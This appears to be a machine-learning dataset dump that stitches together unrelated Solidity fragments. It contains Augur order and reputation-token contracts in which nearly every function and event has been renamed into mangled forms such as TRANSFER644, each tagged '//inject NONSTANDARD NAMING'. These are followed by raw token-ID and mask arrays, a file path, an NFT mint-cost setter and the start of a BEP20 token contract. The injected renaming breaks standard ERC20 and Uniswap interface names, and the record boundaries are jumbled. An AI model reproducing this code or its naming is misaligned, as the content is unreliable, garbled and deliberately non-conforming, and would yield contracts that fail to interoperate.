_orderId) public returns (bool); //inject NONSTANDARD NAMING function LOGORDERFILLED166(IUniverse _universe, address _creator, address _filler, uint256 _price, uint256 _fees, uint256 _amountFilled, bytes32 _orderId, bytes32 _tradeGroupId) public returns (bool); //inject NONSTANDARD NAMING function LOGMARKETVOLUMECHANGED635(IUniverse _universe, address _market, uint256 _volume, uint256[] memory _outcomeVolumes, uint256 _totalTrades) public returns (bool); //inject NONSTANDARD NAMING function LOGZEROXORDERFILLED898(IUniverse _universe, IMarket _market, bytes32 _orderHash, bytes32 _tradeGroupId, uint8 _orderType, address[] memory _addressData, uint256[] memory _uint256Data) public returns (bool); //inject NONSTANDARD NAMING function LOGZEROXORDERCANCELED137(address _universe, address _market, address _account, uint256 _outcome, uint256 _price, uint256 _amount, uint8 _type, bytes32 _orderHash) public; //inject NONSTANDARD NAMING } contract IOrders { function SAVEORDER165(uint256[] calldata _uints, bytes32[] calldata _bytes32s, Order.Types _type, IMarket _market, address _sender) external returns (bytes32 _orderId); //inject NONSTANDARD NAMING function REMOVEORDER407(bytes32 _orderId) external returns (bool); //inject NONSTANDARD NAMING function GETMARKET927(bytes32 _orderId) public view returns (IMarket); //inject NONSTANDARD NAMING function GETORDERTYPE39(bytes32 _orderId) public view returns (Order.Types); //inject NONSTANDARD NAMING function GETOUTCOME167(bytes32 _orderId) public view returns (uint256); //inject NONSTANDARD NAMING function GETAMOUNT930(bytes32 _orderId) public view returns (uint256); //inject NONSTANDARD NAMING function GETPRICE598(bytes32 _orderId) public view returns (uint256); //inject NONSTANDARD NAMING function GETORDERCREATOR755(bytes32 _orderId) public view returns (address); //inject NONSTANDARD NAMING function GETORDERSHARESESCROWED20(bytes32 _orderId) public view returns (uint256); //inject NONSTANDARD NAMING function GETORDERMONEYESCROWED161(bytes32 _orderId) public view returns (uint256); //inject NONSTANDARD NAMING function GETORDERDATAFORCANCEL357(bytes32 _orderId) public view returns (uint256, uint256, Order.Types, IMarket, uint256, address); //inject NONSTANDARD NAMING function GETORDERDATAFORLOGS935(bytes32 _orderId) public view returns (Order.Types, address[] memory _addressData, uint256[] memory _uint256Data); //inject NONSTANDARD NAMING function GETBETTERORDERID822(bytes32 _orderId) public view returns (bytes32); //inject NONSTANDARD NAMING function GETWORSEORDERID439(bytes32 _orderId) public view returns (bytes32); //inject NONSTANDARD NAMING function GETBESTORDERID727(Order.Types _type, IMarket _market, uint256 _outcome) public view returns (bytes32); //inject NONSTANDARD NAMING function GETWORSTORDERID835(Order.Types _type, IMarket _market, uint256 _outcome) public view returns (bytes32); //inject NONSTANDARD NAMING function GETLASTOUTCOMEPRICE593(IMarket _market, uint256 _outcome) public view returns (uint256); //inject NONSTANDARD NAMING function GETORDERID157(Order.Types _type, IMarket _market, uint256 _amount, uint256 _price, address _sender, uint256 _blockNumber, uint256 _outcome, uint256 _moneyEscrowed, uint256 _sharesEscrowed) public pure returns (bytes32); //inject NONSTANDARD NAMING function GETTOTALESCROWED463(IMarket _market) public view returns (uint256); //inject NONSTANDARD NAMING function ISBETTERPRICE274(Order.Types _type, uint256 _price, bytes32 _orderId) public view returns (bool); //inject NONSTANDARD NAMING function ISWORSEPRICE692(Order.Types _type, uint256 _price, bytes32 _orderId) public view returns (bool); //inject NONSTANDARD NAMING function ASSERTISNOTBETTERPRICE18(Order.Types _type, uint256 _price, bytes32 _betterOrderId) public view returns (bool); //inject NONSTANDARD NAMING function ASSERTISNOTWORSEPRICE875(Order.Types _type, uint256 _price, bytes32 _worseOrderId) public returns (bool); //inject NONSTANDARD NAMING function RECORDFILLORDER693(bytes32 _orderId, uint256 _sharesFilled, uint256 _tokensFilled, uint256 _fill) external returns (bool); //inject NONSTANDARD NAMING function SETPRICE687(IMarket _market, uint256 _outcome, uint256 _price) external returns (bool); //inject NONSTANDARD NAMING } library Order { using SafeMathUint256 for uint256; enum Types { Bid, Ask } enum TradeDirections { Long, Short } struct Data { // Contracts IMarket market; IAugur augur; IAugurTrading augurTrading; IShareToken shareToken; ICash cash; // Order bytes32 id; address creator; uint256 outcome; Order.Types orderType; uint256 amount; uint256 price; uint256 sharesEscrowed; uint256 moneyEscrowed; bytes32 betterOrderId; bytes32 worseOrderId; } function CREATE815(IAugur _augur, IAugurTrading _augurTrading, address _creator, uint256 _outcome, Order.Types _type, uint256 _attoshares, uint256 _price, IMarket _market, bytes32 _betterOrderId, bytes32 _worseOrderId) internal view returns (Data memory) { //inject NONSTANDARD NAMING require(_outcome < _market.GETNUMBEROFOUTCOMES636(), "Order.create: Outcome is not within market range"); require(_price != 0, "Order.create: Price may not be 0"); require(_price < _market.GETNUMTICKS752(), "Order.create: Price is outside of market range"); require(_attoshares > 0, "Order.create: Cannot use amount of 0"); require(_creator != address(0), "Order.create: Creator is 0x0"); IShareToken _shareToken = IShareToken(_augur.LOOKUP594("ShareToken")); return Data({ market: _market, augur: _augur, augurTrading: _augurTrading, shareToken: _shareToken, cash: ICash(_augur.LOOKUP594("Cash")), id: 0, creator: _creator, outcome: _outcome, orderType: _type, amount: _attoshares, price: _price, sharesEscrowed: 0, moneyEscrowed: 0, betterOrderId: _betterOrderId, worseOrderId: _worseOrderId }); } // // "public" functions // function GETORDERID157(Order.Data memory _orderData, IOrders _orders) internal view returns (bytes32) { //inject NONSTANDARD NAMING if (_orderData.id == bytes32(0)) { bytes32 _orderId = CALCULATEORDERID856(_orderData.orderType, _orderData.market, _orderData.amount, _orderData.price, _orderData.creator, block.number, _orderData.outcome, _orderData.moneyEscrowed, _orderData.sharesEscrowed); require(_orders.GETAMOUNT930(_orderId) == 0, "Order.getOrderId: New order had amount. This should not be possible"); _orderData.id = _orderId; } return _orderData.id; } function CALCULATEORDERID856(Order.Types _type, IMarket _market, uint256 _amount, uint256 _price, address _sender, uint256 _blockNumber, uint256 _outcome, uint256 _moneyEscrowed, uint256 _sharesEscrowed) internal pure returns (bytes32) { //inject NONSTANDARD NAMING return sha256(abi.encodePacked(_type, _market, _amount, _price, _sender, _blockNumber, _outcome, _moneyEscrowed, _sharesEscrowed)); } function GETORDERTRADINGTYPEFROMMAKERDIRECTION100(Order.TradeDirections _creatorDirection) internal pure returns (Order.Types) { //inject NONSTANDARD NAMING return (_creatorDirection == Order.TradeDirections.Long) ? Order.Types.Bid : Order.Types.Ask; } function GETORDERTRADINGTYPEFROMFILLERDIRECTION800(Order.TradeDirections _fillerDirection) internal pure returns (Order.Types) { //inject NONSTANDARD NAMING return (_fillerDirection == Order.TradeDirections.Long) ? Order.Types.Ask : Order.Types.Bid; } function SAVEORDER165(Order.Data memory _orderData, bytes32 _tradeGroupId, IOrders _orders) internal returns (bytes32) { //inject NONSTANDARD NAMING GETORDERID157(_orderData, _orders); uint256[] memory _uints = new uint256[](5); _uints[0] = _orderData.amount; _uints[1] = _orderData.price; _uints[2] = _orderData.outcome; _uints[3] = _orderData.moneyEscrowed; _uints[4] = _orderData.sharesEscrowed; bytes32[] memory _bytes32s = new bytes32[](4); _bytes32s[0] = _orderData.betterOrderId; _bytes32s[1] = _orderData.worseOrderId; _bytes32s[2] = _tradeGroupId; _bytes32s[3] = _orderData.id; return _orders.SAVEORDER165(_uints, _bytes32s, _orderData.orderType, _orderData.market, _orderData.creator); } } interface IUniswapV2Pair { event APPROVAL665(address indexed owner, address indexed spender, uint value); //inject NONSTANDARD NAMING event TRANSFER723(address indexed from, address indexed to, uint value); //inject NONSTANDARD NAMING function NAME524() external pure returns (string memory); //inject NONSTANDARD NAMING function SYMBOL582() external pure returns (string memory); //inject NONSTANDARD NAMING function DECIMALS958() external pure returns (uint8); //inject NONSTANDARD NAMING function TOTALSUPPLY304() external view returns (uint); //inject NONSTANDARD NAMING function BALANCEOF492(address owner) external view returns (uint); //inject NONSTANDARD NAMING function ALLOWANCE377(address owner, address spender) external view returns (uint); //inject NONSTANDARD NAMING function APPROVE293(address spender, uint value) external returns (bool); //inject NONSTANDARD NAMING function TRANSFER644(address to, uint value) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM669(address from, address to, uint value) external returns (bool); //inject NONSTANDARD NAMING function DOMAIN_SEPARATOR256() external view returns (bytes32); //inject NONSTANDARD NAMING function PERMIT_TYPEHASH256() external pure returns (bytes32); //inject NONSTANDARD NAMING function NONCES605(address owner) external view returns (uint); //inject NONSTANDARD NAMING function PERMIT866(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; //inject NONSTANDARD NAMING event MINT159(address indexed sender, uint amount0, uint amount1); //inject NONSTANDARD NAMING event BURN674(address indexed sender, uint amount0, uint amount1, address indexed to); //inject NONSTANDARD NAMING event SWAP992( //inject NONSTANDARD NAMING address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event SYNC856(uint112 reserve0, uint112 reserve1); //inject NONSTANDARD NAMING function MINIMUM_LIQUIDITY585() external pure returns (uint); //inject NONSTANDARD NAMING function FACTORY704() external view returns (address); //inject NONSTANDARD NAMING function TOKEN0151() external view returns (address); //inject NONSTANDARD NAMING function TOKEN132() external view returns (address); //inject NONSTANDARD NAMING function GETRESERVES901() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); //inject NONSTANDARD NAMING function PRICE0CUMULATIVELAST708() external view returns (uint); //inject NONSTANDARD NAMING function PRICE1CUMULATIVELAST245() external view returns (uint); //inject NONSTANDARD NAMING function KLAST943() external view returns (uint); //inject NONSTANDARD NAMING function MINT146(address to) external returns (uint liquidity); //inject NONSTANDARD NAMING function BURN234(address to) external returns (uint amount0, uint amount1); //inject NONSTANDARD NAMING function SWAP505(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; //inject NONSTANDARD NAMING function SKIM81(address to) external; //inject NONSTANDARD NAMING function SYNC86() external; //inject NONSTANDARD NAMING function INITIALIZE90(address, address) external; //inject NONSTANDARD NAMING } contract IRepSymbol { function GETREPSYMBOL498(address _augur, address _universe) external view returns (string memory); //inject NONSTANDARD NAMING } contract ReputationToken is VariableSupplyToken, IV2ReputationToken { using SafeMathUint256 for uint256; string constant public name600 = "Reputation"; //inject NONSTANDARD NAMING IUniverse internal universe; IUniverse public parentUniverse; uint256 internal totalMigrated; IERC20 public legacyRepToken; IAugur public augur; address public warpSync; constructor(IAugur _augur, IUniverse _universe, IUniverse _parentUniverse) public { augur = _augur; universe = _universe; parentUniverse = _parentUniverse; warpSync = _augur.LOOKUP594("WarpSync"); legacyRepToken = IERC20(_augur.LOOKUP594("LegacyReputationToken")); require(warpSync != address(0)); require(legacyRepToken != IERC20(0)); } function SYMBOL582() public view returns (string memory) { //inject NONSTANDARD NAMING return IRepSymbol(augur.LOOKUP594("RepSymbol")).GETREPSYMBOL498(address(augur), address(universe)); } function MIGRATEOUTBYPAYOUT436(uint256[] memory _payoutNumerators, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING require(_attotokens > 0); IUniverse _destinationUniverse = universe.CREATECHILDUNIVERSE712(_payoutNumerators); IReputationToken _destination = _destinationUniverse.GETREPUTATIONTOKEN35(); BURN234(msg.sender, _attotokens); _destination.MIGRATEIN692(msg.sender, _attotokens); return true; } function MIGRATEIN692(address _reporter, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING IUniverse _parentUniverse = parentUniverse; require(ReputationToken(msg.sender) == _parentUniverse.GETREPUTATIONTOKEN35()); require(augur.GETTIMESTAMP626() < _parentUniverse.GETFORKENDTIME510()); MINT146(_reporter, _attotokens); totalMigrated += _attotokens; // Update the fork tentative winner and finalize if we can if (!_parentUniverse.GETFORKINGMARKET637().ISFINALIZED623()) { _parentUniverse.UPDATETENTATIVEWINNINGCHILDUNIVERSE89(universe.GETPARENTPAYOUTDISTRIBUTIONHASH230()); } return true; } function MINTFORREPORTINGPARTICIPANT798(uint256 _amountMigrated) public returns (bool) { //inject NONSTANDARD NAMING IReportingParticipant _reportingParticipant = IReportingParticipant(msg.sender); require(parentUniverse.ISCONTAINERFORREPORTINGPARTICIPANT696(_reportingParticipant)); // simulate a 40% ROI which would have occured during a normal dispute had this participant's outcome won the dispute uint256 _bonus = _amountMigrated.MUL760(2) / 5; MINT146(address(_reportingParticipant), _bonus); return true; } function MINTFORWARPSYNC909(uint256 _amountToMint, address _target) public returns (bool) { //inject NONSTANDARD NAMING require(warpSync == msg.sender); MINT146(_target, _amountToMint); universe.UPDATEFORKVALUES73(); return true; } function BURNFORMARKET683(uint256 _amountToBurn) public returns (bool) { //inject NONSTANDARD NAMING require(universe.ISCONTAINERFORMARKET856(IMarket(msg.sender))); BURN234(msg.sender, _amountToBurn); return true; } function TRUSTEDUNIVERSETRANSFER148(address _source, address _destination, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING require(IUniverse(msg.sender) == universe); _TRANSFER433(_source, _destination, _attotokens); return true; } function TRUSTEDMARKETTRANSFER61(address _source, address _destination, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING require(universe.ISCONTAINERFORMARKET856(IMarket(msg.sender))); _TRANSFER433(_source, _destination, _attotokens); return true; } function TRUSTEDREPORTINGPARTICIPANTTRANSFER10(address _source, address _destination, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING require(universe.ISCONTAINERFORREPORTINGPARTICIPANT696(IReportingParticipant(msg.sender))); _TRANSFER433(_source, _destination, _attotokens); return true; } function TRUSTEDDISPUTEWINDOWTRANSFER53(address _source, address _destination, uint256 _attotokens) public returns (bool) { //inject NONSTANDARD NAMING require(universe.ISCONTAINERFORDISPUTEWINDOW320(IDisputeWindow(msg.sender))); _TRANSFER433(_source, _destination, _attotokens); return true; } function ASSERTREPUTATIONTOKENISLEGITCHILD164(IReputationToken _shadyReputationToken) private view { //inject NONSTANDARD NAMING IUniverse _universe = _shadyReputationToken.GETUNIVERSE719(); require(universe.ISPARENTOF319(_universe)); require(_universe.GETREPUTATIONTOKEN35() == _shadyReputationToken); } function GETUNIVERSE719() public view returns (IUniverse) { //inject NONSTANDARD NAMING return universe; } function GETTOTALMIGRATED220() public view returns (uint256) { //inject NONSTANDARD NAMING return totalMigrated; } function GETLEGACYREPTOKEN110() public view returns (IERC20) { //inject NONSTANDARD NAMING return legacyRepToken; } function GETTOTALTHEORETICALSUPPLY552() public view returns (uint256) { //inject NONSTANDARD NAMING uint256 _totalSupply = totalSupply; if (parentUniverse == IUniverse(0)) { return _totalSupply.ADD571(legacyRepToken.TOTALSUPPLY304()).SUB692(legacyRepToken.BALANCEOF492(address(1))).SUB692(legacyRepToken.BALANCEOF492(address(0))); } else if (augur.GETTIMESTAMP626() >= parentUniverse.GETFORKENDTIME510()) { return _totalSupply; } else { return _totalSupply + parentUniverse.GETREPUTATIONTOKEN35().GETTOTALTHEORETICALSUPPLY552(); } } function ONTOKENTRANSFER292(address _from, address _to, uint256 _value) internal { //inject NONSTANDARD NAMING augur.LOGREPUTATIONTOKENSTRANSFERRED904(universe, _from, _to, _value, balances[_from], balances[_to]); } function ONMINT315(address _target, uint256 _amount) internal { //inject NONSTANDARD NAMING augur.LOGREPUTATIONTOKENSMINTED985(universe, _target, _amount, totalSupply, balances[_target]); } function ONBURN653(address _target, uint256 _amount) internal { //inject NONSTANDARD NAMING augur.LOGREPUTATIONTOKENSBURNED995(universe, _target, _amount, totalSupply, balances[_target]); } function MIGRATEFROMLEGACYREPUTATIONTOKEN918() public returns (bool) { //inject NONSTANDARD NAMING require(parentUniverse == IUniverse(0)); uint256 _legacyBalance = legacyRepToken.BALANCEOF492(msg.sender); require(legacyRepToken.TRANSFERFROM669(msg.sender, address(1), _legacyBalance)); MINT146(msg.sender, _legacyBalance); return true; } }
inject NONSTANDARD NAMING
function TOTALSUPPLY304(uint256 id) external view returns (uint256);
2,553,852
[ 1, 22170, 18708, 882, 18264, 423, 2192, 1360, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 399, 19851, 13272, 23893, 23, 3028, 12, 11890, 5034, 612, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xD48a5815371b1a309B7ba16Ac2579cf84ca95B12/sources/mferavatarscustom.sol
Owner only function to set the cost to mint a token
function setMintingCost(uint newCost) public onlyOwner { cost = newCost; emit MintingCostUpdated(newCost); }
9,821,316
[ 1, 5541, 1338, 445, 358, 444, 326, 6991, 358, 312, 474, 279, 1147, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 15430, 474, 310, 8018, 12, 11890, 394, 8018, 13, 1071, 1338, 5541, 288, 203, 3639, 6991, 273, 394, 8018, 31, 203, 3639, 3626, 490, 474, 310, 8018, 7381, 12, 2704, 8018, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-01-16 */ /** *Submitted for verification at BscScan.com on 2021-07-02 */ pragma solidity 0.5.16; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the erc token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal {} function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract BEP677Receiver { function onTokenTransfer(address _sender, uint _value, bytes calldata _data) external; } 